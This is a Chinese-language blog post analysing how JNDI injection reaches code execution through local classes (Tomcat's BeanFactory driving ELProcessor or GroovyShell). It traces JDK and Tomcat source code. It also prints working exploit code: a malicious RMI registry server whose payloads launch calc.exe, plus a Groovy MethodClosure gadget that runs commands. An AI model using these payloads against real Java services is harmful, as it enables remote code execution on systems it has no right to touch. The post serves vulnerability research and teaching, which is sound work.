缘由
每次Orange大佬更新博客总会带来一些之前没有注意到或者新的姿势,这次在他的博客中,我找到了关于JNDI
绕过的方法,也以这次分析,具体的对于采用本地Jar包绕过的原理进行一次分析
分析
首先JNDI
触发时,一定会调用lookup寻找调用的类,从lookup
方法入手,进行第一部分分析,为了方便第一次接触JNDI
的同学学习,贴出所有试验代码
//jndi.java public class jndi { public static void main(String[] args) throws Exception { new InitialContext().lookup("rmi://127.0.0.1:1097/Object"); } } //EvilRMIServer.java public class EvilRMIServer { public static void main(String[] args) throws Exception { System.out.println("Creating evil RMI registry on port 1097"); Registry registry = LocateRegistry.createRegistry(1097); //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code ref.add(new StringRefAddr("forceString", "x=eval")); //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc.exe']).start()\")")); ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); registry.bind("Object", referenceWrapper); } }
首先运行
[EvilRMIServer.java
]: https://www.veracode.com/blog/research/exploiting-jndi-injections-java "Exploiting JNDI Injections in Java"
再运行jndi.java
,观察调用堆栈
//jndi中lookup的调用堆栈 getExpressionFactory:94, Util (javax.el) getExpressionFactory:30, ELManager (javax.el) getELContext:35, ELManager (javax.el) <init>:44, ELProcessor (javax.el) ...... getObjectInstance:148, BeanFactory (org.apache.naming.factory) getObjectInstance:321, NamingManager (javax.naming.spi) decodeObject:464, RegistryContext (com.sun.jndi.rmi.registry) lookup:124, RegistryContext (com.sun.jndi.rmi.registry) lookup:205, GenericURLContext (com.sun.jndi.toolkit.url) lookup:417, InitialContext (javax.naming) main:25, jndi (com.cc.demo)
观察
javax.naming.spi.NamingManager.getObjectInstance
方法,限定了ref
的属性
public static Object getObjectInstance(Object refInfo, Name name, Context nameCtx, Hashtable<?,?> environment) throws Exception { ...... Reference ref = null; //传入的refInfo必须继承Reference或Referenceable if (refInfo instanceof Reference) { ref = (Reference) refInfo; } else if (refInfo instanceof Referenceable) { ref = ((Referenceable)(refInfo)).getReference(); } if (ref != null) { String f = ref.getFactoryClassName(); if (f != null) { // if reference identifies a factory, use exclusively /** clas = helper.loadClass(factoryName); //VersionHelper->class-loading and reading system properties static final VersionHelper helper = VersionHelper.getVersionHelper(); 获取到ref中factory代表的类 **/ factory = getObjectFactoryFromReference(ref, f); if (factory != null) { return factory.getObjectInstance(ref, name, nameCtx, environment); } // No factory found, so return original refInfo. // Will reach this point if factory class is not in // class path and reference does not contain a URL for it return refInfo; } }
从分析注释中可以看出,factory
为org.apache.naming.factory.BeanFactory
,进一步跟进org.apache.naming.factory.BeanFactory
类的getObjectInstance
方法
java //org.apache.naming.factory.BeanFactory public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws NamingException { ...... RefAddr ra = ref.get("forceString"); Map<String, Method> forced = new HashMap(); String value; String propName; int i; if (ra != null) { value = (String)ra.getContent(); Class<?>[] paramTypes = new Class[]{String.class}; String[] arr$ = value.split(","); i = arr$.length; for(int i$ = 0; i$ < i; ++i$) { String param = arr$[i$]; param = param.trim(); int index = param.indexOf(61); if (index >= 0) { propName = param.substring(index + 1).trim(); param = param.substring(0, index).trim(); } else { propName = "set" + param.substring(0, 1).toUpperCase(Locale.ENGLISH) + param.substring(1); } try { //method为String类型的带参方法并与方法名放入Map中 forced.put(param, beanClass.getMethod(propName, paramTypes)); } ...... value = (String)ra.getContent(); Object[] valueArray = new Object[1]; Method method = (Method)forced.get(propName); if (method != null) { valueArray[0] = value; try { //invoke实现反射调用 method.invoke(bean, valueArray); }
此时已经运行到了
invoke方法中,按理说分析应该就结束了,但是此时我踩了个“坑”,由于之前本地先载入过
jsp-api.jar`,此时运行会出问题,如下所示
static ExpressionFactory getExpressionFactory() { ClassLoader tccl = Thread.currentThread().getContextClassLoader(); Util.CacheValue cacheValue = null; ExpressionFactory factory = null; if (tccl == null) { cacheValue = nullTcclFactory; } else { Util.CacheKey key = new Util.CacheKey(tccl); //private static final ConcurrentMap<Util.CacheKey, Util.CacheValue> factoryCache = new ConcurrentHashMap(); cacheValue = (Util.CacheValue)factoryCache.get(key); if (cacheValue == null) { //newCacheValue为ReentrantReadWriteLock Util.CacheValue newCacheValue = new Util.CacheValue(); //使用putIfAbsent方法添加键值对,如果map集合中没有该key对应的值,则直接添加,并返回null,如果已经存在对应的值,则依旧为原来的值 cacheValue = (Util.CacheValue)factoryCache.putIfAbsent(key, newCacheValue); if (cacheValue == null) { cacheValue = newCacheValue; } } } Lock readLock = cacheValue.getLock().readLock(); readLock.lock(); try { factory = cacheValue.getExpressionFactory(); } finally { readLock.unlock(); } if (factory == null) { Lock writeLock = cacheValue.getLock().writeLock(); writeLock.lock(); try { factory = cacheValue.getExpressionFactory(); if (factory == null) { //通过前面的分析,最终执行到这里 factory = ExpressionFactory.newInstance(); cacheValue.setExpressionFactory(factory); } } finally { writeLock.unlock(); } } return factory; } public static ExpressionFactory newInstance() { return newInstance((Properties)null); } public static ExpressionFactory newInstance(Properties properties) { return (ExpressionFactory)FactoryFinder.find("javax.el.ExpressionFactory", "com.sun.el.ExpressionFactoryImpl", properties); } static Object find(String factoryId, String fallbackClassName, Properties properties) { ClassLoader classLoader; try { //javaee中为WebAppClassLoader类,javase中为ApplicationClassLoader classLoader = Thread.currentThread().getContextClassLoader(); } catch (Exception var13) { throw new ELException(var13.toString(), var13); } String serviceId = "META-INF/services/" + factoryId; try { InputStream is = null; if (classLoader == null) { //系统类加载器获取serviceId is = ClassLoader.getSystemResourceAsStream(serviceId); } else { //本类获取serviceId,需要在本类目录下存在META-INF/services/java.el.ExpressionFactory is = classLoader.getResourceAsStream(serviceId); } if (is != null) { BufferedReader rd = new BufferedReader(new InputStreamReader(is, "UTF-8")); String factoryClassName = rd.readLine(); rd.close(); if (factoryClassName != null && !"".equals(factoryClassName)) { return newInstance(factoryClassName, classLoader, properties); } } } catch (Exception var12) { } String systemProp; try { systemProp = System.getProperty("java.home"); String configFile = systemProp + File.separator + "lib" + File.separator + "el.properties"; File f = new File(configFile); if (f.exists()) { Properties props = new Properties(); props.load(new FileInputStream(f)); String factoryClassName = props.getProperty(factoryId); return newInstance(factoryClassName, classLoader, properties); } } catch (Exception var11) { } try { //获取系统环境中factoryId,com.sun.el.ExpressionFactoryImpl(不存在会报错) systemProp = System.getProperty(factoryId); if (systemProp != null) { return newInstance(systemProp, classLoader, properties); } } catch (SecurityException var10) { } if (fallbackClassName == null) { throw new ELException("Provider for " + factoryId + " cannot be found", (Throwable)null); } else { return newInstance(fallbackClassName, classLoader, properties); } }
因为本身jsp-api.jar
不存在com.sun.el.ExpressionFactoryImpl
,从系统环境中获取时,应获取el-api.jar
中的com.sun.el.ExpressionFactoryImpl
,但el-api.jar
不在jdk/jre/ext文件夹下,导致获取不到从而报错,解决方式移动el-api.jar
到jdk/jre/ext文件夹下。此报错与漏洞分析无关,所以我采取删除jsp-api.jar
的lib依赖,接着分析
public static ExpressionFactory newInstance(Properties properties) { ...... if (clazz == null) { className = null; try { Lock writeLock = cacheValue.getLock().writeLock(); writeLock.lock(); try { String className = cacheValue.getFactoryClassName(); if (className == null) { //文件夹META-INF/services/中、lib中和系统环境变量中获取javax.el.ExpressionFactory,不存在时返回org.apache.el.ExpressionFactoryImpl className = discoverClassName(tccl); cacheValue.setFactoryClassName(className); } if (tccl == null) { clazz = Class.forName(className); } else { //运行到这里获取类,org.apache.el.ExpressionFactoryImpl clazz = tccl.loadClass(className); } cacheValue.setFactoryClass(clazz); } finally { writeLock.unlock(); } } catch (ClassNotFoundException var28) { throw new ELException("Unable to find ExpressionFactory of type: " + className, var28); } } try { Constructor<?> constructor = null; if (properties != null) { try { constructor = clazz.getConstructor(Properties.class); } catch (SecurityException var23) { throw new ELException(var23); } catch (NoSuchMethodException var24) { } } if (constructor == null) { //最后运行到实例化类 result = (ExpressionFactory)clazz.newInstance(); } else { result = (ExpressionFactory)constructor.newInstance(properties); } return result; } catch (IllegalAccessException | IllegalArgumentException | InstantiationException var25) { throw new ELException("Unable to create ExpressionFactory of type: " + clazz.getName(), var25); } catch (InvocationTargetException var26) { Throwable cause = var26.getCause(); Util.handleThrowable(cause); throw new ELException("Unable to create ExpressionFactory of type: " + clazz.getName(), var26); } }
结果
根据之前分析,重新寻找基于Groovy
的JNDI
调用链,可以知道JNDI
在本地绕过时还是存在一些限制,使用方法时也需要寻找带有特定参数的方法,最终调用链如下所示
package com.cc.demo; import com.sun.jndi.rmi.registry.ReferenceWrapper; import org.apache.naming.ResourceRef; import javax.naming.StringRefAddr; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class EvilRMIServer { public static void main(String[] args) throws Exception { System.out.println("Creating evil RMI registry on port 1097"); Registry registry = LocateRegistry.createRegistry(1097); //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory // ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code // ref.add(new StringRefAddr("forceString", "x=eval")); //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows // ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc.exe']).start()\")")); ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); ref.add(new StringRefAddr("forceString","x=evaluate")); ref.add(new StringRefAddr("x", "Runtime.getRuntime().exec('calc.exe')")); ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); registry.bind("Object", referenceWrapper); } }
Grrovy
的gadge
t,在低版本中MethodClosure
未限制反序列化操作,以下代码可以运行命令
ProcessBuilder processBuilder = new ProcessBuilder("calc.exe"); MethodClosure methodClosure = new MethodClosure(processBuilder, "start"); Expando expando = new Expando(); expando.setProperty("hashCode", methodClosure); expando.hashCode();